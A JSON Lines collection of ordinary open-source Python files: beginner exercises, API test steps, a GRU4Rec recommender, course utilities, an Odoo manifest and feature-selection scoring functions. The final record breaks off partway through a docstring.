+{"text": "tabs = int(input())\nsalary = float(input())\n\nfor tab in range(tabs):\n current_tab = input()\n if current_tab == \"Facebook\":\n salary -= 150\n elif current_tab == \"Instagram\":\n salary -= 100\n elif current_tab == \"Reddit\":\n salary -= 50\n if salary <= 0:\n print(\"You have lost your salary.\")\n break\n\nif salary > 0:\n print(int(salary))", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"}
+{"text": "from behave import given, when, then\nfrom hamcrest.core import assert_that, equal_to\nfrom hamcrest.library.number.ordering_comparison import greater_than\nimport requests\nimport json\nimport logging\n\nfrom hamcrest.library.text.stringcontains import contains_string\n\n\n@given(u'I select \"{house_price}\" as House Price')\ndef step(context, house_price):\n context.query.house_price = house_price\n\n\n@given(u'I omit the \"{param_name}\" field')\ndef step(context, param_name):\n if(param_name == \"House Price\"):\n context.query.house_price = \"missing\"\n elif(param_name == \"Loan Amount\"):\n context.query.loan_amount = \"missing\"\n elif(param_name == \"Minimum Credit Score\"):\n context.query.minfico = \"missing\"\n elif(param_name == \"Maximum Credit Score\"):\n context.query.maxfico = \"missing\"\n elif(param_name == \"State\"):\n context.query.state = \"missing\"\n elif(param_name == \"Rate Structure\"):\n context.query.rate_structure = \"missing\"\n elif(param_name == \"Loan Term\"):\n context.query.loan_term = \"missing\"\n elif(param_name == \"Loan Type\"):\n context.query.loan_type = \"missing\"\n elif(param_name == \"ARM Type\"):\n context.query.arm_type = \"missing\"\n\n\n@given(u'I select \"{loan_amount}\" as Loan Amount')\ndef step(context, loan_amount):\n context.query.loan_amount = loan_amount\n\n\n@given(u'I select my minimum credit score as \"{minfico}\"')\ndef step(context, minfico):\n context.query.minfico = minfico\n\n\n@given(u'I select my maximum credit score as \"{maxfico}\"')\ndef step(context, maxfico):\n context.query.maxfico = maxfico\n\n\n@given(u'I select \"{state}\" as State')\ndef step(context, state):\n context.query.state = state\n\n\n@given(u'I select \"{rate_structure}\" as Rate Structure')\ndef step(context, rate_structure):\n context.query.rate_structure = rate_structure\n\n\n@given(u'I select \"{loan_term}\" as Loan Term')\ndef step(context, loan_term):\n context.query.loan_term = loan_term\n\n\n@given(u'I select \"{loan_type}\" as Loan Type')\ndef step(context, loan_type):\n context.query.loan_type = loan_type\n\n\n@given(u'I select \"{arm_type}\" as ARM Type')\ndef step(context, arm_type):\n context.query.arm_type = arm_type\n\n\n@when(u'I send the request')\ndef step(context):\n query_string = context.query.build()\n context.logger.debug(\"Query string is: %s\" % query_string)\n\n context.response = requests.get(context.base_url, params=query_string)\n context.logger.debug(\"URL is : %s\" % context.response.url)\n\n\n@then(u'the response should include a timestamp field')\ndef step(context):\n context.json_data = json.loads(context.response.text)\n context.logger.debug(\"timestamp is: %s\" % context.json_data['timestamp'])\n assert_that(len(context.json_data[u'timestamp']), greater_than(0))\n\n\n@then(u'the response should include a data field')\ndef step(context):\n context.json_data = json.loads(context.response.text)\n context.logger.debug(\"JSON data is: %s\" % context.json_data['data'])\n\n assert_that(len(context.json_data[u'data']), greater_than(0))\n\n\n@then(u'The response should state that required parameter \"{param_name}\" is missing')\ndef step(context, param_name):\n expected_reponse = \"Required parameter '\" + param_name + \"' is missing\"\n context.json_data = json.loads(context.response.text)\n\n context.logger.debug(\"JSON detail is: %s\" % context.json_data['detail'])\n context.logger.debug(\"JSON text is: %s\" % context.response.text)\n\n assert_that(context.json_data['detail'], equal_to(expected_reponse))\n", "source": "ascott1/owning-a-home", "license": "CC0-1.0"}
+{"text": "from .hub import ImageHub\nfrom .ip import getSelfIP\nfrom .sumchars import sumChars\nfrom .safecheck import slowDown\nfrom .respadapter import GeneralResp\nfrom .sac import SelfAssemblingClass\nfrom .sigmaactions import sigmaActions\nfrom .tiempo import fancyTiempo, fancyTQ\nfrom .misc import is_url, asciiBigSuccess\n", "source": "nosoyyo/minibee", "license": "Apache-2.0"}
+{"text": "\"\"\"\nPaper: Recurrent Neural Networks with Top-k Gains for Session-based Recommendations\nAuthor: Bal\u00e1zs Hidasi, and Alexandros Karatzoglou\nReference: https://github.com/hidasib/GRU4Rec\n https://github.com/Songweiping/GRU4Rec_TensorFlow\n@author: Zhongchuan Sun\n\"\"\"\n\nimport numpy as np\nfrom model.AbstractRecommender import SeqAbstractRecommender\nimport tensorflow as tf\nfrom util import l2_loss\n\n\nclass GRU4RecPlus(SeqAbstractRecommender):\n def __init__(self, sess, dataset, conf):\n super(GRU4RecPlus, self).__init__(dataset, conf)\n self.train_matrix = dataset.train_matrix\n self.dataset = dataset\n\n self.users_num, self.items_num = self.train_matrix.shape\n\n self.lr = conf[\"lr\"]\n self.reg = conf[\"reg\"]\n self.layers = conf[\"layers\"]\n self.batch_size = conf[\"batch_size\"]\n self.n_sample = conf[\"n_sample\"]\n self.sample_alpha = conf[\"sample_alpha\"]\n self.epochs = conf[\"epochs\"]\n self.bpr_reg = conf[\"bpr_reg\"]\n\n if conf[\"hidden_act\"] == \"relu\":\n self.hidden_act = tf.nn.relu\n elif conf[\"hidden_act\"] == \"tanh\":\n self.hidden_act = tf.nn.tanh\n else:\n raise ValueError(\"There is not hidden_act named '%s'.\" % conf[\"hidden_act\"])\n\n # final_act = leaky-relu\n if conf[\"final_act\"] == \"relu\":\n self.final_act = tf.nn.relu\n elif conf[\"final_act\"] == \"linear\":\n self.final_act = tf.identity\n elif conf[\"final_act\"] == \"leaky_relu\":\n self.final_act = tf.nn.leaky_relu\n else:\n raise ValueError(\"There is not final_act named '%s'.\" % conf[\"final_act\"])\n\n if conf[\"loss\"] == \"bpr_max\":\n self.loss_fun = self._bpr_max_loss\n elif conf[\"loss\"] == \"top1_max\":\n self.loss_fun = self._top1_max_loss\n else:\n raise ValueError(\"There is not loss named '%s'.\" % conf[\"loss\"])\n\n self.data_uit, self.offset_idx = self._init_data()\n\n # for sampling negative items\n _, pop = np.unique(self.data_uit[:, 1], return_counts=True)\n pop = np.power(pop, self.sample_alpha)\n pop_cumsum = np.cumsum(pop)\n self.pop_cumsum = pop_cumsum / pop_cumsum[-1]\n\n self.sess = sess\n\n def _init_data(self):\n time_dok = self.dataset.time_matrix.todok()\n data_uit = [[row, col, time] for (row, col), time in time_dok.items()]\n data_uit.sort(key=lambda x: (x[0], x[-1]))\n data_uit = np.array(data_uit, dtype=np.int32)\n _, idx = np.unique(data_uit[:, 0], return_index=True)\n offset_idx = np.zeros(len(idx)+1, dtype=np.int32)\n offset_idx[:-1] = idx\n offset_idx[-1] = len(data_uit)\n\n return data_uit, offset_idx\n\n def _create_variable(self):\n self.X_ph = tf.placeholder(tf.int32, [self.batch_size], name='input')\n self.Y_ph = tf.placeholder(tf.int32, [self.batch_size+self.n_sample], name='output')\n self.state_ph = [tf.placeholder(tf.float32, [self.batch_size, n_unit], name='layer_%d_state' % idx)\n for idx, n_unit in enumerate(self.layers)]\n\n init = tf.random.truncated_normal([self.items_num, self.layers[0]], mean=0.0, stddev=0.01)\n self.input_embeddings = tf.Variable(init, dtype=tf.float32, name=\"input_embeddings\")\n\n init = tf.random.truncated_normal([self.items_num, self.layers[-1]], mean=0.0, stddev=0.01)\n self.item_embeddings = tf.Variable(init, dtype=tf.float32, name=\"item_embeddings\")\n self.item_biases = tf.Variable(tf.zeros([self.items_num]), dtype=tf.float32, name=\"item_biases\")\n\n def _softmax_neg(self, logits):\n # logits: (b, size_y)\n hm = 1.0 - tf.eye(tf.shape(logits)[0], tf.shape(logits)[1])\n logits = logits * hm\n logits = logits - tf.reduce_max(logits, axis=1, keep_dims=True)\n e_x = tf.exp(logits) * hm # (b, size_y)\n e_x = e_x / tf.reduce_sum(e_x, axis=1, keep_dims=True)\n return e_x # (b, size_y)\n\n def _bpr_max_loss(self, logits):\n # logits: (b, size_y)\n softmax_scores = self._softmax_neg(logits) # (b, size_y)\n pos_logits = tf.matrix_diag_part(logits) # (b,)\n pos_logits = tf.reshape(pos_logits, shape=[-1, 1]) # (b, 1)\n prob = tf.sigmoid((pos_logits - logits)) # (b, size_y)\n prob = tf.reduce_sum(tf.multiply(prob, softmax_scores), axis=1) # (b,)\n loss = -tf.log(prob + 1e-24)\n reg_loss = tf.reduce_sum(tf.multiply(tf.pow(logits, 2), softmax_scores), axis=1) # (b,)\n\n return tf.reduce_mean(loss + self.bpr_reg*reg_loss)\n\n def _top1_max_loss(self, logits):\n softmax_scores = self._softmax_neg(logits) # (b, size_y)\n\n pos_logits = tf.matrix_diag_part(logits) # (b,)\n pos_logits = tf.reshape(pos_logits, shape=[-1, 1]) # (b, 1)\n prob = tf.sigmoid(-pos_logits + logits) + tf.sigmoid(tf.pow(logits, 2))\n loss = tf.reduce_sum(tf.multiply(prob, softmax_scores), axis=1)\n\n return tf.reduce_mean(loss)\n\n def build_graph(self):\n self._create_variable()\n # get embedding and bias\n # b: batch size\n # l1: the dim of the first layer\n # ln: the dim of the last layer\n # size_y: the length of Y_ph, i.e., n_sample+batch_size\n\n cells = [tf.nn.rnn_cell.GRUCell(size, activation=self.hidden_act) for size in self.layers]\n drop_cell = [tf.nn.rnn_cell.DropoutWrapper(cell) for cell in cells]\n stacked_cell = tf.nn.rnn_cell.MultiRNNCell(drop_cell)\n inputs = tf.nn.embedding_lookup(self.input_embeddings, self.X_ph) # (b, l1)\n outputs, state = stacked_cell(inputs, state=self.state_ph)\n self.u_emb = outputs # outputs: (b, ln)\n self.final_state = state # [(b, l1), (b, l2), ..., (b, ln)]\n\n # for training\n items_embed = tf.nn.embedding_lookup(self.item_embeddings, self.Y_ph) # (size_y, ln)\n items_bias = tf.gather(self.item_biases, self.Y_ph) # (size_y,)\n\n logits = tf.matmul(outputs, items_embed, transpose_b=True) + items_bias # (b, size_y)\n logits = self.final_act(logits)\n\n loss = self.loss_fun(logits)\n\n # reg loss\n\n reg_loss = l2_loss(inputs, items_embed, items_bias)\n final_loss = loss + self.reg*reg_loss\n self.update_opt = tf.train.AdamOptimizer(self.lr).minimize(final_loss)\n\n def _sample_neg_items(self, size):\n samples = np.searchsorted(self.pop_cumsum, np.random.rand(size))\n return samples\n\n def train_model(self):\n self.logger.info(self.evaluator.metrics_info())\n\n data_uit, offset_idx = self.data_uit, self.offset_idx\n data_items = data_uit[:, 1]\n\n for epoch in range(self.epochs):\n state = [np.zeros([self.batch_size, n_unit], dtype=np.float32) for n_unit in self.layers]\n user_idx = np.random.permutation(len(offset_idx) - 1)\n iters = np.arange(self.batch_size, dtype=np.int32)\n maxiter = iters.max()\n start = offset_idx[user_idx[iters]]\n end = offset_idx[user_idx[iters]+1]\n finished = False\n while not finished:\n min_len = (end - start).min()\n out_idx = data_items[start]\n for i in range(min_len-1):\n in_idx = out_idx\n out_idx = data_items[start+i+1]\n out_items = out_idx\n if self.n_sample:\n neg_items = self._sample_neg_items(self.n_sample)\n out_items = np.hstack([out_items, neg_items])\n\n feed = {self.X_ph: in_idx, self.Y_ph: out_items}\n for l in range(len(self.layers)):\n feed[self.state_ph[l]] = state[l]\n\n _, state = self.sess.run([self.update_opt, self.final_state], feed_dict=feed)\n\n start = start+min_len-1\n mask = np.arange(len(iters))[(end - start) <= 1]\n for idx in mask:\n maxiter += 1\n if maxiter >= len(offset_idx)-1:\n finished = True\n break\n iters[idx] = maxiter\n start[idx] = offset_idx[user_idx[maxiter]]\n end[idx] = offset_idx[user_idx[maxiter]+1]\n if len(mask):\n for i in range(len(self.layers)):\n state[i][mask] = 0\n\n result = self.evaluate_model()\n self.logger.info(\"epoch %d:\\t%s\" % (epoch, result))\n\n def _get_user_embeddings(self):\n users = np.arange(self.users_num, dtype=np.int32)\n u_nnz = np.array([self.train_matrix[u].nnz for u in users], dtype=np.int32)\n users = users[np.argsort(-u_nnz)]\n user_embeddings = np.zeros([self.users_num, self.layers[-1]], dtype=np.float32) # saving user embedding\n\n data_uit, offset_idx = self.data_uit, self.offset_idx\n data_items = data_uit[:, 1]\n\n state = [np.zeros([self.batch_size, n_unit], dtype=np.float32) for n_unit in self.layers]\n batch_iter = np.arange(self.batch_size, dtype=np.int32)\n next_iter = batch_iter.max() + 1\n\n start = offset_idx[users[batch_iter]]\n end = offset_idx[users[batch_iter] + 1] # the start index of next user\n\n batch_mask = np.ones([self.batch_size], dtype=np.int32)\n while np.sum(batch_mask) > 0:\n min_len = (end - start).min()\n\n for i in range(min_len):\n cur_items = data_items[start + i]\n feed = {self.X_ph: cur_items}\n for l in range(len(self.layers)):\n feed[self.state_ph[l]] = state[l]\n\n u_emb, state = self.sess.run([self.u_emb, self.final_state], feed_dict=feed)\n\n start = start + min_len\n mask = np.arange(self.batch_size)[(end - start) == 0]\n for idx in mask:\n u = users[batch_iter[idx]]\n user_embeddings[u] = u_emb[idx] # saving user embedding\n if next_iter < self.users_num:\n batch_iter[idx] = next_iter\n start[idx] = offset_idx[users[next_iter]]\n end[idx] = offset_idx[users[next_iter] + 1]\n next_iter += 1\n else:\n batch_mask[idx] = 0\n start[idx] = 0\n end[idx] = offset_idx[-1]\n\n for i, _ in enumerate(self.layers):\n state[i][mask] = 0\n\n return user_embeddings\n\n def evaluate_model(self):\n self.cur_user_embeddings = self._get_user_embeddings()\n self.cur_item_embeddings, self.cur_item_biases = self.sess.run([self.item_embeddings, self.item_biases])\n return self.evaluator.evaluate(self)\n\n def predict(self, users, items=None):\n user_embeddings = self.cur_user_embeddings[users]\n all_ratings = np.matmul(user_embeddings, self.cur_item_embeddings.T) + self.cur_item_biases\n\n # final_act = leaky-relu\n if self.final_act == tf.nn.relu:\n all_ratings = np.maximum(all_ratings, 0)\n elif self.final_act == tf.identity:\n all_ratings = all_ratings\n elif self.final_act == tf.nn.leaky_relu:\n all_ratings = np.maximum(all_ratings, all_ratings*0.2)\n else:\n pass\n all_ratings = np.array(all_ratings, dtype=np.float32)\n\n if items is not None:\n all_ratings = [all_ratings[idx][item] for idx, item in enumerate(items)]\n return all_ratings\n", "source": "jasonshere/NeuRec", "license": "MIT"}
+{"text": "import math\r\n\r\nT = int(input())\r\n\r\nfor i in range(0,T):\r\n\tnum = int(input())\r\n\r\n\ttemp = 0.5 * (-3 + math.sqrt(9-4*(2-2*num)))\r\n\r\n\tif(abs(int(temp) - temp) < 0.00000000001):\r\n\t\tprint(int(temp))\r\n\telse:\r\n\t\tprint('No solution')\r\n", "source": "sc458/uHunt-solutions", "license": "MIT"}
+{"text": "# CMU 16-726 Learning-Based Image Synthesis / Spring 2022, Assignment 3\n# The code base is based on the great work from CSC 321, U Toronto\n# https://www.cs.toronto.edu/~rgrosse/courses/csc321_2018/assignments/a4-code.zip\n\nimport os\nimport torch\n\n\ndef to_var(x):\n \"\"\"Converts numpy to variable.\"\"\"\n if torch.cuda.is_available():\n x = x.cuda()\n return x\n\n\ndef to_data(x):\n \"\"\"Converts variable to numpy.\"\"\"\n if torch.cuda.is_available():\n x = x.cpu()\n return x.detach().numpy()\n\n\ndef create_dir(directory):\n \"\"\"Creates a directory if it does not already exist.\n \"\"\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n", "source": "CaoYuchen/16726", "license": "MIT"}
+{"text": "\"\"\"\nThis contains the function used to automatically detect the name of assignements using ast parsing features\n\"\"\"\n\nimport ast\nimport inspect\nfrom typing import Optional\n\nimport executing\n\n\nclass AstFailure(Exception):\n ...\n\n\nclass TooManyAssignments(Exception):\n ...\n\n\ndef get_parent_assign(node: ast.AST) -> ast.Assign:\n \"\"\"Look for an ast.Assign node in the parents\"\"\"\n while hasattr(node, 'parent'):\n node = node.parent\n\n if isinstance(node, ast.Assign):\n return node\n raise AstFailure(\n 'Failed to retrieve the variable name.'\n )\n\n\ndef get_variable_name(with_raise: bool = True) -> Optional[str]:\n # TODO: maybe should handle depth, number of f_back\n frame = inspect.currentframe().f_back.f_back\n node = executing.Source.executing(frame).node\n try:\n assignment = get_parent_assign(node)\n except AstFailure as e:\n if with_raise:\n raise e\n else:\n return None\n target = assignment.targets[0]\n if isinstance(target, ast.Name):\n return target.id\n if isinstance(target, ast.Tuple):\n raise TooManyAssignments(\n f\"Can only work with one assignment\"\n )\n if with_raise:\n raise AstFailure(\n f\"Can only get name of a variable or attribute, not {ast.dump(assignment)}\"\n )\n return None\n", "source": "tinyest-org/petit_type_system", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 3 22:51:58 2020\r\n\r\n@author: gabri\r\n\"\"\"\r\n\r\nfrom gab_toolbox import format_tools\r\nfrom gab_toolbox import tex_tools\r\nfrom gab_toolbox import mail_tools\r\n", "source": "gbene/gab_toolbox", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n{\n \"name\": \"Import Settings\",\n \"vesion\": \"10.0.1.0.0\",\n \"summary\": \"Allows to save import settings to don't specify columns to fields mapping each time.\",\n \"category\": \"Extra Tools\",\n \"images\": [\"images/icon.png\"],\n \"author\": \"IT-Projects LLC, Dinar Gabbasov\",\n \"website\": \"https://www.twitter.com/gabbasov_dinar\",\n \"license\": \"Other OSI approved licence\", # MIT\n \"price\": 90.00,\n \"currency\": \"EUR\",\n \"depends\": [\"base_import\"],\n \"data\": [\n \"security/ir.model.access.csv\",\n \"views/base_import_map_templates.xml\",\n \"views/base_import_map_view.xml\",\n ],\n \"demo\": [],\n \"installable\": True,\n \"auto_install\": False,\n}\n", "source": "ShaheenHossain/itpp-labs-misc-addons13", "license": "MIT"}
+{"text": "number = int(input())\nbonus_points = 0\nif number <= 100:\n bonus_points += 5\nelif number > 1000:\n bonus_points += number * 0.10\nelse:\n bonus_points += number * 0.20\nif number % 2 == 0:\n bonus_points += 1\nif number % 10 == 5:\n bonus_points += 2\nprint(bonus_points)\nprint(bonus_points + number)", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"}
+{"text": "from functools import partial, update_wrapper\nfrom math import exp\n\nimport numpy as np\nfrom scipy.sparse import lil_matrix\nfrom scipy.stats import rankdata\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics.pairwise import pairwise_distances, euclidean_distances\nfrom sklearn.neighbors import NearestNeighbors\n\nfrom ...utils.information_theory import conditional_entropy\nfrom ...utils.information_theory import entropy\nfrom ...utils.qpfs_body import qpfs_body\nfrom ...utils.functions import knn_from_class\n\n\ndef _wrapped_partial(func, *args, **kwargs):\n partial_func = partial(func, *args, **kwargs)\n update_wrapper(partial_func, func)\n return partial_func\n\n\ndef fit_criterion_measure(x, y):\n \"\"\"Calculate the FitCriterion score for features. Bigger values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://core.ac.uk/download/pdf/191234514.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import fit_criterion_measure\n >>> import numpy as np\n >>> x = np.array([[1, 2, 4, 1, 1], [2, 2, 2, 1, 2], [3, 5, 1, 1, 4],\n ... [1, 1, 1, 1, 4], [2, 2, 2, 1, 5]])\n >>> y = np.array([1, 2, 3, 1, 2])\n >>> fit_criterion_measure(x, y)\n array([1. , 0.8, 0.8, 0.4, 0.6])\n \"\"\"\n def count_hits(feature):\n splits = {cl: feature[y == cl] for cl in classes}\n means = {cl: np.mean(splits[cl]) for cl in classes}\n devs = {cl: np.var(splits[cl]) for cl in classes}\n distances = np.vectorize(\n lambda x_val: {cl: (\n abs(x_val - means[cl])\n / (devs[cl] + 1e-10)) for cl in classes})(feature)\n return np.sum(np.vectorize(lambda d: min(d, key=d.get))(distances) == y)\n\n classes = np.unique(y)\n return np.apply_along_axis(count_hits, 0, x) / x.shape[0]\n\n\ndef f_ratio_measure(x, y):\n \"\"\"Calculate Fisher score for features. Bigger values mean more important\n features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://papers.nips.cc/paper/2909-laplacian-score-for-feature-selection.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import f_ratio_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> f_ratio_measure(x, y)\n array([0.6 , 0.2 , 1. , 0.12, 5.4 ])\n \"\"\"\n def __F_ratio(feature):\n splits = {cl: feature[y == cl] for cl in classes}\n mean_feature = np.mean(feature)\n inter_class = np.sum(\n np.vectorize(lambda cl: (\n counts_d[cl]\n * np.power(mean_feature - np.mean(splits[cl]), 2)))(classes))\n intra_class = np.sum(\n np.vectorize(lambda cl: (\n counts_d[cl]\n * np.var(splits[cl])))(classes))\n return inter_class / (intra_class + 1e-10)\n\n classes, counts = np.unique(y, return_counts=True)\n counts_d = {cl: counts[idx] for idx, cl in enumerate(classes)}\n return np.apply_along_axis(__F_ratio, 0, x)\n\n\ndef gini_index(x, y):\n \"\"\"Calculate Gini index for features. Bigger values mean more important\n features. This measure works best with discrete features due to being based\n on information theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n http://lkm.fri.uni-lj.si/xaigor/slo/clanki/ijcai95z.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import gini_index\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> gini_index(x, y)\n array([0.14 , 0.04 , 0.64 , 0.24 , 0.37333333])\n \"\"\"\n def __gini(feature):\n values, counts = np.unique(feature, return_counts=True)\n counts_d = {val: counts[idx] for idx, val in enumerate(values)}\n total_sum = np.sum(\n np.vectorize(\n lambda val: (\n np.sum(\n np.square(\n np.unique(\n y[feature == val], return_counts=True)[1]))\n / counts_d[val]))(values))\n return total_sum / x.shape[0] - prior_prob_squared_sum\n\n classes, counts = np.unique(y, return_counts=True)\n prior_prob_squared_sum = np.sum(np.square(counts / x.shape[0]))\n\n return np.apply_along_axis(__gini, 0, x)\n\n\ndef su_measure(x, y):\n \"\"\"SU is a correlation measure between the features and the class\n calculated via formula SU(X,Y) = 2 * I(X|Y) / (H(X) + H(Y)). Bigger values\n mean more important features. This measure works best with discrete\n features due to being based on information theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://pdfs.semanticscholar.org/9964/c7b42e6ab311f88e493b3fc552515e0c764a.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import su_measure\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> su_measure(x, y)\n array([0.28694182, 0.13715115, 0.79187567, 0.47435099, 0.67126949])\n \"\"\"\n def __SU(feature):\n entropy_x = entropy(feature)\n return (2 * (entropy_x - conditional_entropy(y, feature))\n / (entropy_x + entropy_y))\n\n entropy_y = entropy(y)\n return np.apply_along_axis(__SU, 0, x)\n\n# TODO CONCORDATION COEF\n\ndef kendall_corr(x, y):\n \"\"\"Calculate Sample sign correlation (Kendall correlation) for each\n feature. Bigger absolute values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Kendall_rank_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import kendall_corr\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> kendall_corr(x, y)\n array([-0.1, 0.2, -0.4, -0.2, 0.2])\n \"\"\"\n def __kendall_corr(feature):\n k_corr = 0.0\n for i in range(len(feature)):\n k_corr += np.sum(np.sign(feature[i] - feature[i + 1:])\n * np.sign(y[i] - y[i + 1:]))\n return 2 * k_corr / (feature.shape[0] * (feature.shape[0] - 1))\n\n return np.apply_along_axis(__kendall_corr, 0, x)\n\n\ndef fechner_corr(x, y):\n \"\"\"Calculate Sample sign correlation (Fechner correlation) for each\n feature. Bigger absolute values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import fechner_corr\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> fechner_corr(x, y)\n array([-0.2, 0.2, -0.4, -0.2, -0.2])\n \"\"\"\n y_dev = y - np.mean(y)\n x_dev = x - np.mean(x, axis=0)\n return np.sum(np.sign(x_dev.T * y_dev), axis=1) / x.shape[0]\n\ndef reliefF_measure(x, y, k_neighbors=1):\n \"\"\"Calculate ReliefF measure for each feature. Bigger values mean more\n important features.\n\n Note:\n Only for complete x\n Rather than repeating the algorithm m(TODO Ask Nikita about user defined)\n times, implement it exhaustively (i.e. n times, once for each instance)\n for relatively small n (up to one thousand).\n\n Calculates spearman correlation for each feature.\n Spearman's correlation assesses monotonic relationships (whether linear or\n not). If there are no repeated data values, a perfect Spearman correlation\n of +1 or \u22121 occurs when each of the variables is a perfect monotone\n function of the other.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n k_neighbors : int, optional\n The number of neighbors to consider when assigning feature importance\n scores. More neighbors results in more accurate scores but takes\n longer. Selection of k hits and misses is the basic difference to\n Relief and ensures greater robustness of the algorithm concerning noise.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n R.J. Urbanowicz et al. Relief-based feature selection: Introduction and\n review. Journal of Biomedical Informatics 85 (2018) 189\u2013203\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import reliefF_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1], [1, 2, 1, 4, 2], [4, 3, 2, 3, 1]])\n >>> y = np.array([1, 2, 2, 1, 2, 1, 2])\n >>> reliefF_measure(x, y)\n array([-0.14285714, -0.57142857, 0.10714286, -0.14285714, 0.07142857])\n >>> reliefF_measure(x, y, k_neighbors=2)\n array([-0.07142857, -0.17857143, -0.07142857, -0.0952381 , -0.17857143])\n \"\"\"\n def __calc_misses(index):\n misses_diffs_classes = np.abs(\n np.vectorize(\n lambda cl: (\n x[index]\n - x[knn_from_class(dm, y, index, k_neighbors, cl)])\n * prior_prob[cl],\n signature='()->(n,m)')(classes[classes != y[index]]))\n return (np.sum(np.sum(misses_diffs_classes, axis=1), axis=0)\n / (1 - prior_prob[y[index]]))\n\n classes, counts = np.unique(y, return_counts=True)\n if np.any(counts <= k_neighbors):\n raise ValueError(\n \"Cannot calculate relieff measure because one of theclasses has \"\n \"less than %d samples\" % (k_neighbors + 1))\n prior_prob = dict(zip(classes, np.array(counts) / len(y)))\n n_samples = x.shape[0]\n n_features = x.shape[1]\n # use manhattan distance instead of euclidean\n dm = pairwise_distances(x, x, 'manhattan')\n\n indices = np.arange(n_samples)\n # use abs instead of square because of manhattan distance\n hits_diffs = np.abs(\n np.vectorize(\n lambda index: (\n x[index]\n - x[knn_from_class(dm, y, index, k_neighbors, y[index])]),\n signature='()->(n,m)')(indices))\n H = np.sum(hits_diffs, axis=(0,1))\n\n misses_sum_diffs = np.vectorize(\n lambda index: __calc_misses(index),\n signature='()->(n)')(indices)\n M = np.sum(misses_sum_diffs, axis=0)\n\n weights = M - H\n # dividing by m * k guarantees that all final weights\n # will be normalized within the interval [ \u2212 1, 1].\n weights /= n_samples * k_neighbors\n # The maximum and minimum values of A are determined over the entire\n # set of instances.\n # This normalization ensures that weight updates fall\n # between 0 and 1 for both discrete and continuous features.\n with np.errstate(divide='ignore', invalid=\"ignore\"): # todo\n return weights / (np.amax(x, axis=0) - np.amin(x, axis=0))\n\n\ndef relief_measure(x, y, m=None, random_state=42):\n \"\"\"Calculate Relief measure for each feature. This measure is supposed to\n work only with binary classification datasets; for multi-class problems use\n the ReliefF measure. Bigger values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n m : int, optional\n Amount of iterations to do. If not specified, n_samples iterations\n would be performed.\n random_state : int, optional\n Random state for numpy random.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n 